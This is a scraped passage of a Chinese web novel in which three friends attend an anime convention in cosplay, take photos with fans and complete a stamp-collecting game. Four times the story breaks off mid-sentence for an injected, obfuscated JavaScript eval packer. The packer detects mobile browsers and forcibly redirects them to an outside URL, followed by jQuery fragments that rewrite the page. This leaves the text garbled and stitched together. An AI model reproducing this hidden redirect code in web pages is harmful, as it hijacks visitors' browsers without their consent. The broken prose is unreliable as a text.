这会儿天刚亮，阳光还不是很刺眼，木鱼和祁帘栅时刻注意着阳光，把狄加围在中间。 狄加有些不自在，嘴唇动了动，想说点什么。 木鱼指向十几米外的公交站，“车来了，快跑！” 狄加没来得及说话，只能再次把嘴闭上。 三人一路跑到车上，木鱼和狄加刷了手机，祁帘栅老人般从钱包里掏出现金，在狄加惊奇地注视下，投到钱箱里。 祁帘栅见狄加一直盯着他看，无奈解释了一下：“我没手机。” 狄加虽然不理解，但还是点了下头。 三人赶紧找了个座位坐下，木鱼特地挑的中间的位置，两边都不太容易照到阳光。 祁帘栅忙了一上午，终于能暂时休息一下，他看向窗外的时候，余光瞥见木鱼的脸，突然感觉有些奇怪。 木鱼化的妆倒是没什么太大问题，比祁帘栅和狄加的眼睛圆了不少，卧蚕也正合适，一看就是一个萌妹妆。 只是祁帘栅越看，越感觉有些违和感，明明木鱼每一步都做得挺对，但就是说不上是哪里出了问题。 祁帘栅看向被两人夹在中间的狄加，自认为很小声地说了一句：“你有没有感觉木鱼有点奇怪？” 狄加没有回答，只是带着点怜悯看向祁帘栅。 祁帘栅被他看得有些蒙圈，还没明白狄加为什么这么看着自己，就见木鱼从一边伸过头，眯起眼，看起来更加奇怪了。 木鱼阴阳怪气问了句：“你说什么？” 祁帘栅感觉出木鱼的心情有些不好，立刻掩饰道：“没什么没什么。” “你是不是想说我成男工伤！”木鱼突然放大声音，听起来有些生气。 “成男工伤？”祁帘栅突然明白木鱼为什么看起来这么奇怪了，明明她应该cos的是女生，但她脸上那一副鬼迷日眼的样子，怎么看怎么违和。 祁帘栅感觉自己找到真相了，但是没敢说出口。 木鱼看祁帘栅脸上的表情就知道他准备说什么，木鱼立刻出声：“你别说了，我都知道。” 她有些无奈地叹了口气，“没办法啊，平时男人做多了，一时换不过来身份。” 祁帘栅见狄加一副波澜不惊的样子，似乎早就习以为常。 祁帘栅低声说了句：“你不早提醒我。” 狄加转头看了祁帘栅一眼，正准备说话，木鱼就在一边打断他们，“别说了，到站了。” 这时外面天已经亮了起来，没有建筑遮挡的地方，太阳有些刺眼。 祁帘栅看了眼狄加，犹豫开口：“你能下去吗？” “没事，”木鱼一边从包里拿出一个纯白的斗笠，一边带到狄加头上，“我早有准备。” 狄加面上表情不自然了一瞬，但还是没有推脱，一副习以为常的样子。 几人走下公交，狄加的脸在斗笠的遮挡下看起来不太清晰，只能看见一个白布微微突出来，狄加的五官就映在上面，像一个石膏雕塑。 祁帘栅看着这场景，觉得有些好笑。 木鱼已经拉着狄加向前走去，她解释道：“狄加看不清楚路，得有人拉着他。” “嗯好。”祁帘栅忍笑跟在两人身后。 幸好现在时间够早，又是周末，路上的人不是很多，狄加这副奇怪的样子才没引来众人注目。 他们一进地铁站，狄加就立刻把头上的斗笠掀下来，拿在手里，然后轻轻震开木鱼的手。 木鱼回头斜睨了狄加一眼，叹道：“也没必要这么羞涩嘛，这年头戴个斗笠挺正常的啊。” 狄加张了张嘴，最终还是把话咽了下去。 祁帘栅看着这两个活宝，就这么一会儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292084|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们已经在地铁站站了好几分钟了。 祁帘栅忍不住提醒道：“快走吧，要来不及了。” 木鱼一看时间，这才反应过来，赶紧带着两人做地铁。 祁帘栅因为没有手机，只能去售票机买了一张票。 他这是第三次坐地铁，没什么经验，一路都跟在木鱼和狄加身后。 地铁门一开，木鱼就抢先窜了进去，狄加也快速跟着她冲上去。 祁帘栅反应慢半拍，等他跟着人流走上地铁时，就看着木鱼和狄加正好坐上最后两个空位。 木鱼和狄加抢上座位后，看见祁帘栅一个人孤零零站在门口处，没忍住对视一眼。 木鱼好心安慰道：“没事，你年纪大些，反应力没我们好也挺正常，下次我尽量带着你。” 祁帘栅盯着他俩，勉强道了声谢。 不出意料，祁帘栅一次失策，就这么站着到了漫展。 木鱼和狄加休息好了，两个人精神抖擞地下车，祁帘栅只能拖着他可怜的腿，一瘸一拐地跟在他们身后。 走出地铁站时，木鱼再次强硬地把斗笠戴在狄加头上。 狄加有些抗拒，木鱼就一副大家长的样子开口：“你上次就是没做好防晒，回去身上红了一大片，养了半个月才养好，这回必须带上。” 狄加本来都把斗笠取了下来，一听这话，手上动作一顿，木鱼对着狄加身后的祁帘栅使眼色，祁帘栅眼疾手快地把斗笠再次扣在狄加头上。 狄加这回没再拒绝，就那么顶着斗笠，被祁帘栅拉着往外走。 木鱼见祁帘栅很自觉地照看起狄加，满意地点点头，自己走在最前面带路。 祁帘栅抓着狄加的胳膊，才感受到他远比看起来更加瘦，皮肤下几乎感受不到什么肉，除了骨头就是筋，有点硌人。 狄加看起来倒是很放松，很干脆地把自己交给祁帘栅，祁帘栅往哪他就跟着往哪走。 木鱼一转头，就看见两人搀扶着向前走，狄加整个头正好被斗笠遮着，祁帘栅稳稳托着他的手。 这场面，怎么看都太有爱了点。 木鱼一个没忍住，嘴角就翘了起来。 她站在前方，顺手就给祁帘栅和狄加拍了张照。 祁帘栅听见木鱼的动静，有些疑惑地抬起头。 木鱼立刻激动起来，在手机里将两人框在正中间，眼疾手快地又拍了一张。 狄加听见前面的动静，不知道发生了什么，他现在属于失明状态，下意识抓了下身边可以抓住的东西。 祁帘栅感觉到自己的手臂被狄加抓了一下，有些无奈地解释道：“木鱼在给我们俩拍照。” 狄加点了下头，他心中刚放松了一秒，突然意识到什么，整个人就是一僵。 祁帘栅疑惑地发现狄加不往前走了，正想开口询问，面前不知道什么时候就出现了一个和自己cos的同一个角色的人。 祁帘栅一愣，正想问他有什么事，就听见面前这个一米八的成男老师嘴里发出一声难掩激动的女声：“老师，你们两个太好嗑了！我能给你们拍张照嘛？” 19.关注 祁帘栅下意识就松开了拉着狄加的手，狄加整张脸盖在纯白的斗笠下，不经意间一看，还真像是带了个头纱。 祁帘栅眉心一跳，下意识就想解释。 “确实很好磕，”木鱼不知道从哪窜出来，打断了祁帘栅辩解的话，“你们两个快把手拉上，就拍两照张。” 那位想和他们拍照的成男老师已经准备好相机，随时准备给两人来张甜甜蜜蜜的合照。 祁帘栅透过斗笠看了眼狄加，狄加默默向旁边退了一步，拒绝的意思十分明显。 祁帘栅商量着开口：“要不我们俩个人单独……”他话还没说完，就感觉有人狠狠掐了一下他的腰，系统不满的声音响起：“第二阶段任务，你要人气啊！” “你知道这年头找点关注度有多难吗？快点抓住每一个机会，我回去再帮你创建个账号，营销一下。”系统火急火燎道，生怕祁帘栅拒绝自己的提议。 祁帘栅一点也不想接受系统的意见，站在原地没动，系统继续劝他：“你傻啊，装一下男同又不会掉块肉，你又不损失什么？” 狄加因为看不见路，后退的时候不知道撞到了什么东西，一个踉跄，差点摔下去。 祁帘栅手比脑子反应快，飞快拉住狄加的手腕。 相机在此刻被按下快门键，祁帘栅和狄加浑身一僵，不情不愿地听到成男coser老师激动的声音：“老师，你们出的太还原了，我好喜欢！” “谢谢老师！谢谢老师！”“他”说着就要给祁帘栅和狄加鞠躬。 祁帘栅赶忙拒绝起来：“没事没事，不用这么客气。” 成男coser没听祁帘栅的话，又对着祁帘栅和狄加鞠了好一会躬，才满意离去。 祁帘栅和狄加被迫对着他回鞠了好久躬，才终于送走这位coser老师。 祁帘栅被这架势吓一跳，他不敢再扶着狄加，把狄加的手腕塞在木鱼手里，“靠你了。” “啊？”木鱼看祁帘栅反应这么大，有些不好意思，也没推脱，自觉承担起照顾半失明人士的重任。 狄加觉得自己像个沙袋，被几人丢来丢去，有些无语。他张了张嘴，想要说点什么。 木鱼却开口了：“这个，不好意思啊，我下次一定注意，不让自己的小癖好影响你们。” 祁帘栅本来觉得没多大事，听木鱼这么一本正经地道歉，反倒愣了一下。 狄加闭上嘴，任由木鱼牵着他往漫展内走去。 系统还在心里怪祁帘栅不成器，祁帘栅只能无奈回道：“肉肉，我还是觉得这样不好，为了关注度欺骗别人，多少有些心理压力。” 他们正说着话，又走来一个发色橙黄的小女孩，祁帘栅认出来她和木鱼cos的是一个角色，但是这个女生个子矮些，也没有木鱼的成男工伤，看起来更加可爱。 “老师，你们出的是这对兄妹吗？”可爱女生问木鱼道。 木鱼立刻换上她的专业集邮表情，一脸微笑地回道：“是的是的。” 可爱女生看到旁边的祁帘栅，突然眼睛又亮了起来，“你们是三人组啊！” “老师老师，我能和你们集个邮吗？”可爱女生激动开口。 “当然可以。”木鱼把祁帘栅拉过来，让三人靠得近一些，她突然想起什么，对着可爱女生解释道，“我们要不去阴凉地方拍吧，他不太方便照太阳。” “可以可以。”可爱女生和祁帘栅三人走到漫展门口的阴凉处，狄加才将头上的斗笠取下来。 可爱女生拿出手机，拍了一张照，突然她看到木鱼脸上的表情，有些尴尬地抬起头，对着木鱼很不好意思地小声说道：“老师你能把眼睛睁大一点吗？这有些像女扮男扮女。” 木鱼立刻反应过来，她有些不好意思说道：“那个，我之前出成男习惯了，不好意思啊。” 说着木鱼睁大眼睛，三人又拍了张合照。 可爱女生拍到满意的照片，跟几人道谢后就准备离开。 木鱼余光瞥见可爱女生拍的照片。 木鱼在中间笑得很明媚，旁边的祁帘栅微微低下头，无意识间看了她一眼，阳光洒在他们脸上，画面看起来无比和谐。 狄加的目光则始终落在两人身上，他是唯一一个没有站在阳光下的，像一个影子，默默在身后看着他们。 画面定格在这一瞬，木鱼突然就觉得眼睛有点酸，她喊住可爱女生：“老师，我能跟你扩个列吗？” 女生转过头，“当然可以啊。”说着她翻出自己的个人二维码。 木鱼开开心心跟她加上联系方式，说道：“老师我觉得你这张照片拍得非常好，能不能发给我啊。” “当然当然。”女生笑着跟他们挥了挥手，转身走向远处。 没过几分钟，木鱼就收到了女生拍的那张照片，她把手机递给祁帘栅和狄加，说道：“拍得还不错。” 祁帘栅看见这张画面的构图，突然觉得有一种奇怪的感觉涌上心头。 他记得在这本中，三人本来是很好的朋友，都是年纪轻轻出来闯荡，但因为一场意外，狄加cos的角色去世了，只留下祁帘栅和木鱼cos的角色。 他们在书中就是这样，会在节假日看望故人，若无其事地跟他聊起这么多天发生的趣事，告诉他曾经的愿望正在实现。 只是那个天赋异禀的人终究死在了登顶前夕。 祁帘栅看着这张照片，恍若隔世，恍惚间他好像真的看到了这几个人活在现实世界中，留下痕迹。 他将照片递给狄加，就见木鱼在一边少见有些沉默，她的眼角有些亮，望着远处不知在想些什么。 “拍得很好。”狄加在一旁出声。 木鱼眨了眨眼睛，转头时又恢复了往日的活气，她催促着祁帘栅和狄加：“快走吧，我们进去玩玩，听说今天还有几个好玩的活动。” 狄加点点头，再次把斗笠罩上，跟在木鱼身后走去。 祁帘栅脑海里一直想着刚才那张照片，他好像明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296846|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了这群人为什么如此喜欢cos这件事。 祁帘栅跟着人流走进漫展场地，这回场馆不大，没有上次地球线的规模大。 但放眼望去，几乎都是穿着同样一批衣服的人，不少人角色相同。 他们凑在一起，开心地聊着什么。 祁帘栅他们三人走进去的时候，没有引起什么波澜。 中央大屏上正在放着动漫画面，祁帘栅没看过动漫，不知道这演的是哪集。 他们几人还没走几步，就再次被人拦住了。 “老师老师，我能跟你们集个邮吗？”又是一个成男coser向他们这边走来，祁帘栅已经习惯了漫展女声男相的氛围，对着“他”友好点了点头。 成男coser跟他们三人cos的不是一样的角色，“他”是蓝色的头发，人物形象看起来很温和，但祁帘栅经过几天恶补，知道这个角色是个腹黑的，不可貌相。 他站在中间，和祁帘栅三人自拍了一张合照，满意地收回手机，从包里翻出来一沓小卡，对祁帘栅三人说道：“老师，这是给你们的物料，你们都抽一张吧。” 木鱼欢呼一声，眼疾手快地上前抽了一张，正好抽到蓝头发的角色。 “还挺巧哎，”木鱼拿着小卡，“我抽到你了。” 成男coser笑了一下，示意狄加抽。 狄加虽然社恐，但还是难以拒绝别人的好意，抽了张卡，结果翻过来一看，还是蓝头发角色。 接着是祁帘栅抽，他看着背面没什么区别的卡片，最后从正中间抽了一张，没等他把卡片翻过来，那位老师就和他们道别，向另一波人走去。 祁帘栅跟“他”打完招呼，木鱼有些好奇地凑过来，想看看祁帘栅到底抽到了什么角色。狄加也微微偏过头，余光落在祁帘栅手上。 祁帘栅也没卖关子，两根手指夹着卡片一翻，三人愣在原地，又是蓝头发的。 几人有些茫然地转过头，就看见那个coser老师又找到了个几人小组，正在让他们抽卡。 木鱼眼尖地看见，其中一个人抽出来的又是蓝头发角色，跟那个老师cos的角色一样。 蓝头发的coser微笑着对着几人告别，转头又去祸害其他人了。 祁帘栅三人看见那边的几人小组彼此愣愣地看了一眼对方抽的卡片，说了句“真巧”。 木鱼又看了眼自己三人拿的卡片，不光人物是一个，姿势表情也都一模一样，她抽了抽嘴，“我敢打包票，那个老师手里的卡片全是这一张图。” 狄加认同地点点头。 祁帘栅拿着那张小卡，卡片上的人物也是淡淡的微笑，但在这种场景下，莫名有些讽刺的意味。 祁帘栅盯着那个coser的背影，说了一句：“从某种意义上说，他cos的挺符合角色的，没有ooc。” 木鱼和狄加也看向那个老师，极其同步地点起头。 三人几乎是异口同声道：“心真脏啊！” 20.走散 祁帘栅三人目送着那位“心脏”老师离开，祁帘栅和狄加出门没带包，只能把物料塞进衣服口袋里。 木鱼出门倒是大包小包带得挺齐全，特别是其中一个包，表面是透明的，里面放了几个木鱼最爱的吧唧。 一路上祁帘栅看见好多人都背着这种类似的包，似乎是一种潮流。 祁帘栅没忍住问木鱼道：“你这包怎么还带展示功能？” “什么？”木鱼很奇怪地看向祁帘栅所指的地方，再看清祁帘栅问的什么后，木鱼瞪大眼睛，“不是，你这都不知道！不应该啊？” “这是痛包，专门可以把自己喜欢的谷展示出来。”木鱼一提到这个，就恨不得把自己包里的东西都翻出来，给祁帘栅挨个介绍。 祁帘栅一副为难的表情，不太想听木鱼介绍。 木鱼见祁帘栅看起来有些窘迫，回想起他们这段时间的接触，木鱼恍然大悟：“没事，鱼姐之前比你过得拮据多了，就是这两年才好起来。” “至少吃喝不愁，偶尔还能出来逛逛漫展，买点自己喜欢的东西。”木鱼说着把自己的宝贝包往侧面背了一点，挡住祁帘栅“羡慕”的目光。 祁帘栅知道木鱼是误会自己了，但他解释不通，只能叹了口气，默认下来。 祁帘栅向周围看去，就见狄加的视线突然变得有些奇怪，本来没什么表情的脸上闪过一丝难以言喻。 祁帘栅见他这副表情，有些奇怪地顺着他的视线看过去，脸上表情就是一僵。 木鱼见他们两个好像看见了什么不可思议的画面，转过头去看，就见一个跟祁帘栅“长得”差不多的人走了过来。 木鱼视线往下一瞥，惊恐地发现来人下面穿的是一条短裙。 其实这短裙是没什么问题，但重点是他顶着一张成男的脸，这样明显让人无法把他上半身和下半身联系起来。 祁帘栅感觉更为奇特一些，尤其是他们两人明显是在cos同一个角色。 “这是怎么回事？”祁帘栅低声道。 他本来是想问问经验丰富的木鱼，结果被走过来的coser听到了，“他”笑了笑，皮下是个女生：“为什么女角色可以穿裤子，男角色不能穿裙子？” 祁帘栅一想，还真是这么一回事，那位coser老师又说道：“也可以说我出的是性转版的吧。” “老师，我在远处看就觉得你们出的特别还原，能和你们集个邮吗？”那位性转coser老师对着祁帘栅问道。 祁帘栅还是不太习惯面前这场景，脖子有些僵硬地动了动。 那位老师见他们没有拒绝，举着手机和祁帘栅来了一个自拍，“他”表情自如，衬托着旁边的祁帘栅面部僵硬，有种祁帘栅cos的角色被女版自己强迫的感觉。 那位老师丝毫没意识到祁帘栅的尴尬，他走到木鱼身边，微微弯下身子，“妹宝，我们也来一张吧。” 木鱼少见有些不好意思，摆好一个元气满满的姿势，拍了张照。 接下来那位老师本想找狄加合照，但就这么一转眼，他就发现原本站在一旁的狄加不知何时消失了。 coser老师有些奇怪地看向周围，怀疑自己刚才是不是看错了，疑惑地跟祁帘栅和木鱼打完招呼，这才原路返回。 等“他”走远后，祁帘栅才奇怪道：“狄加呢？” 木鱼无奈摊了摊手，“那位老师太社牛了，估计是被她吓跑了。”木鱼往周围看了一圈也没找到狄加的身影。 毕竟这里一眼看去至少有十几个和他一模一样装扮的人，狄加瞬间被隐藏在人群中。 “我先去找找他，你在这等会儿我。”木鱼说完这句话，也没等祁帘栅回答，就匆匆离开。 祁帘栅一转头，木鱼也消失在人群中，这回只剩他一个人孤零零待在展馆中央。 祁帘栅看着周围不时有和自己一模一样的人走过去，偶尔还有人找他拍照。祁帘栅只能摆出他一贯僵硬的拍照姿势，在好多人手机里留下一个尴尬的影像。 场馆不大，但四面八方都长得差不多，祁帘栅绕了一会儿就晕了。 他闲得无聊，开始在一边的摊位上转起来。 摆摊的摊主很热情，看见祁帘栅走过来，就热情招呼：“老师你看看我们这边的制品，有吧唧，透卡，拍立得，立牌，你看看有没有什么想要的？” 祁帘栅推脱不掉，只能装模作样地在摊位上看起来，摊主见他看的认真，推销得也越发起劲：“老师你看这个，跟你出的同一个角色，买一个回去吧。” “你来逛展，怎么能不带个自己回去？”摊主继续道，“老师你出的这么像，肯定很喜欢这个角色，我们这个立牌就很适合你，你看看，这是我们专门找的同人画师画的图，风格很好……” 祁帘栅被她接二连三的话说得晕头转向，加上周围不时有人过来买一个制品，祁帘栅下意识问出来：“这个立牌多少钱？” “不贵不贵，也就七十块钱。”摊主见祁帘栅有意想买，说得更加起劲，“你要是买两个，就一百二怎么样？给你打个折。” 祁帘栅一听这价格就清醒过来，他看着摊主期待地眼神，又摸了摸自己瘦得跟没吃过饭一样的钱包，默默移开视线。 “这个吧唧多少钱？”祁帘栅不好意思直接走，指向了旁边的吧唧。 摊主立刻回道：“这个十五一个，三十三个。” 祁帘栅一听这个价格，比刚才的立牌不知便宜了多少，冲动之下直接说出：“那就要这一个了。” 摊主飞快接过祁帘栅的钱，把吧唧放在塑料袋里递给祁帘栅。 直到祁帘栅走了好几米，才反应过来自己刚才冲动消费，花十五块钱买了个小铁板。 祁帘栅面上闪过一丝肉痛的表情，在心里念道：“完了，肉肉，我好像大脑不是很清醒了。” 他说完这句话，等了半天也没等到系统的回复，祁帘栅有些奇怪，再次试探开口：“肉肉？” 系统压根没理他，不知道在做些什么。 祁帘栅有些疑惑，但也没多想。他继续在周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308849|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围逛起来，这回他学聪明了，基本没再买过东西，就算买也只看二十元以下的。 这个场馆确实不大，祁帘栅就光绕了这么一圈，就感觉碰见好几个熟悉的面孔，总感觉不止见了一面，但偏偏他想找的人一直没出现。 “哎，老师，我从很远就看见你了，觉得你出得特别还原，我能和你集个邮吗？” 祁帘栅听着这话，总感觉有些耳熟，他转过头，果然看见一个穿着黑色小短裙的成男coser。 祁帘栅面上一僵，他正要开口解释他们已经拍过合照了，但是那位老师估计是以为祁帘栅社恐，没拒绝就是默认，甚至头都往“他”这边靠过来了。 那位社牛老师飞快举起相机，也没管祁帘栅准备的怎么样，“咔嚓”两下就拍了几张照片，对着祁帘栅说道：“谢谢老师，你出的特别好。” 祁帘栅犹豫着自己是不是也要夸一下“他”，结果社牛老师完全没给祁帘栅说话的时间，转身就去寻找下一个目标了。 祁帘栅有些尴尬地站在原地，第一次发现自己其实还挺社恐的。 “哎，你在干嘛？”祁帘栅感觉自己的肩膀被人突然拍了一下，吓了一跳。 祁帘栅转过头，发现木鱼和狄加不知什么时候已经站在他身后了。 木鱼丝毫没有掩饰的意思，“我们刚才看见那个性转社牛老师又在抓人集邮，在一边幸灾乐祸，准备看出好戏。还是狄加跟我说那个可怜的社恐老师有点眼熟，我们才认出你。” 不给祁帘栅说话的机会，木鱼继续说道：“不是让你在原地等我们吗？怎么我才一转眼，就找不到你了。等我想联系你的时候，才发现我们完全没有联系方式，你连个电话也没留。” “这还是太不方便了。”木鱼说着皱起眉，狄加也在一边点了下头，“要不这样？我们先给你垫付点钱，买个手机，之后你有钱了再还给我们吧。” 祁帘栅刚听见这话就准备拒绝，木鱼再次堵上他的嘴：“没事，反正你就住在狄加隔壁，我们也不怕你跑，你要是敢欠钱不还……” 木鱼想了一阵，没想出什么好办法来，她看到祁帘栅头上的假发，突然有了办法：“就罚你给我们每人做一百顶假发。” “每人一百顶？”祁帘栅瞪大眼睛。 “对！”木鱼丝毫没有松口，“说是一百顶就是一百顶！” “行。”祁帘栅咬牙切齿道，“我一定还钱。” 木鱼这才满意地笑起来，“这样，等这回漫展结束，我们就带你去买手机，以后就能随时联系到你了。” 狄加点点头，算是同意了木鱼的想法。 祁帘栅看着木鱼和狄加，他俩一头黄毛，跟个精神小妹精神小伙一样。 “谢谢！”祁帘栅嘴唇轻动。 周围太嘈杂，木鱼没听清祁帘栅的话，问道：“什么？” 狄加站得离他更近些，看清了祁帘栅的唇语，却没有说话。 “没什么。”祁帘栅摇了摇头，“那边好像有什么活动，我们去看看吧。” 21.集章 木鱼和狄加的注意力果真被吸引过去，他们跟在祁帘栅身后走到一个摊位前，发现是一个集章活动，要在规定的几个摊位完成任务才可以获得印章，最终兑换奖品。 祁帘栅没见过这种活动，感觉有些好玩，木鱼已经硬拉着狄加加入活动了。 狄加看起来很抗拒，木鱼一人拿了三份集章册，不由分说就往狄加手里塞了一张，又递给祁帘栅一张。 祁帘栅问道：“这个怎么玩？” “不难，你看那几个连在一起的摊位，走过去按照要求完成任务，一般是问你几个问题，或者是让你做几个动作，不会很难的。” 木鱼见祁帘栅和狄加两人愣愣站在原地，没有要走的意思，忍不住催促道：“快点走了，不然到时候奖品都没了。” 祁帘栅见状跟在木鱼身后，到第一个摊位前排队，狄加有些犹豫，没有站过去。 “狄加，你快来！”木鱼站在队里喊他。 狄加瞬间就感觉周围的视线全都聚集到自己身上，他站的位置太引人注目了。 狄加无奈，只能排到祁帘栅身后。 好在这第一关没什么难度，对社恐人士十分友好，只要在纸条上写下一句对人物的祝福台词就行。 祁帘栅不知道木鱼写了什么，只看见她在那么小一张纸条上来来回回写了好多字，最后写不下，她甚至将纸条翻了一个面。 祁帘栅第一次参加这种活动，以为大家都要像木鱼一样写一堆，他刚在纸上写下一句“一定要拿冠军！”，就想不出别的话了。 摊主见祁帘栅写完这句话就愣在原地，不禁缓声催促：“老师你还有什么想写的吗？没有的话就让下一个人来吧。” “哦哦，”祁帘栅松了口气，赶紧让到一边，看着摊主给他盖上一个小人印章，是个Q版小人，还挺可爱的。 祁帘栅集到章，转头去看一边的狄加，就见他的话更少，犹犹豫豫，也只写出一句“加油”，但是在这句话后面打了三个感叹号。 狄加也成功集上章，两人一转头，就见木鱼不知什么时候已经排到下一队去了，丝毫没有要等祁帘栅和狄加的意思。 两人对视一眼，无奈排到队伍后面，跟木鱼已经隔了好几个人。 狄加性格比较闷，祁帘栅一天到晚没听见他说过几句话。 他站在队伍里，在脑海中喊了肉肉好几声，都没得到回应，实在有些无聊，就和狄加聊了起来：“你之前参加过这种活动吗？” 狄加听到这话有些愣，在确定祁帘栅是在跟自己讲话后，才有些犹豫回道：“没有，这是第一次。” 想了几秒，就在祁帘栅以为狄加不会说话时，狄加又补充了一句：“以前见别人玩过，挺尴尬。” “哦。”祁帘栅没把狄加的话放在心上，结果就听见前面的木鱼突然发出一道巨大的吼声：“再玩十年也不会腻，哈哈哈哈！” 那气吞山河的四声大笑极其明显，至少四分之一场馆的人都向这边看来。 祁帘栅脸色一僵，突然有点不想认识木鱼。 木鱼丝毫没觉得自己的行为给两个“社恐”人士造成了什么困扰，她在众目睽睽之下拿着自己的集章册，走到祁帘栅和狄加身边，对他们说了一句：“你们慢慢排，我先去那边一队了。” 周围的视线或多或少聚集在祁帘栅和狄加身上，祁帘栅笑得有些勉强，冲木鱼点了点头。 狄加则将自己完全藏在祁帘栅身后，连面都没漏。 祁帘栅被迫抗下所有，笑容有些僵硬地目送木鱼离开。 没过几个人，就轮到祁帘栅了。 这一轮是说出书中的人物台词或者句子，祁帘栅没看几天文，早就把台词忘得差不多了，他想了半天，只想起某个人物动不动就在主角耳边一直念叨的话。 “pk?”祁帘栅有些犹豫地说出这个词。 摊主听后，愣了一下，半天才反应过来祁帘栅说的什么，不禁笑了起来。 “确实是书中人物说的话，”摊主笑了一会儿，给祁帘栅盖上章后，没忍住又跟他说了几句，“我之前碰见的一个老师更有意思，想不出来角色说了什么话，直接就念了主角名，书中百分之八十的角色肯定说过这句话。” 祁帘栅听后，觉得自己还是太保守了些。 狄加学习能力很强，一听这话，直接就小声地说出了主角名字。 摊主不出意外，又愣了一下，他看着祁帘栅和狄加，有些气笑了：“你们商量好的是不是，怎么一个二个这么有意思？” 狄加没说话，只默默接过摊主不太情愿的章，祁帘栅有些尴尬地回了一句：“我们记忆力不太好，但确实挺喜欢这个作品。” 摊主摆了摆手，把这两个钻空子的人放了过去。 祁帘栅和狄加这才松一口气，他们慌忙跑到下一个摊位前，只希望下一轮任务不要这么尴尬。 这回的任务确实不难，也没有让人尴尬的场面，只要忽略祁帘栅没来得及看动漫，所以一个op都没听过，这几乎就是送分题。 祁帘栅在摊主的注视下，连换了三首曲子都没听出来这到底是什么歌。 周围切切私语：“这不会是云吧，连那首现象级爆曲都不知道？” “谁知道呢？估计是蹭角色热度的吧，这种人真不要脸。” “他怎么还站在那啊，还是快走吧。” “……” 摊主看着祁帘栅的眼神也越发不对劲起来，她都忍不住想要提醒祁帘栅一下，把他放过去了。 狄加见祁帘栅尴尬地站在原地，脸上的表情越发不好看起来，小声在旁边提醒了他一句。 祁帘栅毫不犹豫，说出了那首歌的名字。 摊主确认之后，两人都不约而同松了口气。 他们走远之后，狄加还是没忍住问了一句：“你真没听过？” “真没。”祁帘栅有些不好意思，“我才刚看完百分之八十的小说，还没来得及听歌。” 狄加不知道该说些什么，只能点了点头。 谁知下一个关卡难度更高，这轮是说出角色的出生日期，偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325559|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏祁帘栅抽到的还不是一个常见的高人气角色。 祁帘栅瞪大眼睛，他有些无助地站在摊位前，一个字也说不出来。 狄加也愣了半天，他绞尽脑汁也没想起来这个角色是哪天出生的。 他们两人面面相觑，半晌，祁帘栅犹豫询问摊主：“能不能给点提示？” 摊主见他们实在为难，想了想，还是公正道：“不行哦。” 祁帘栅彻底没招了，他只能破罐子破摔道：“我不知道。” 摊主却没放过他的意思，“你再仔细想想呢？” 狄加藏在祁帘栅身后，在手机里飞快查出这个名字，为了不被周围的人发现，他动作小心翼翼，只敢把手机放在最下面，低头瞟两眼。 终于角色信息弹出来，狄加松了一口气，把手机向前递了一点，示意祁帘栅看。 祁帘栅没注意到狄加的小动作，随便说了个日期，果然不对。 狄加无奈，只能怼了怼祁帘栅的腰，小声提醒了一句。 祁帘栅大概是没听清，再次说出了一个错误的日期。 “只有三次机会哦。”摊主笑眯眯看着祁帘栅。 狄加就差凑到祁帘栅耳边告诉他答案了，终于祁帘栅听清了狄加的提示，成功答对了问题。 狄加也靠着他的作弊小技巧，成功拿下了一个章。 之后的几关大多没什么难度，就连祁帘栅和狄加也轻松完成，就更别提木鱼了。 他们三人顺利拿到集章活动的奖品，是一个吧唧和几张明信片。 木鱼在一边摆弄着这些小玩意，心情不错：“免费的东西就是好啊！” 祁帘栅也点了点头，第一次体会到白嫖的乐趣。 “下次我们还来集章。”木鱼兴奋地说道。 她这话刚一出口，狄加就惊恐地摇了摇头，祁帘栅面上也有些犹豫，小心开口：“要不还是你一个人去集章吧？” “为什么？多好玩啊？”木鱼不理解他们怎么一副畏畏缩缩的样子，奇怪地盯着他们。 狄加不说话，祁帘栅只能一个人顶着木鱼目光的压力，视线飘忽不定：“有点丢人。” 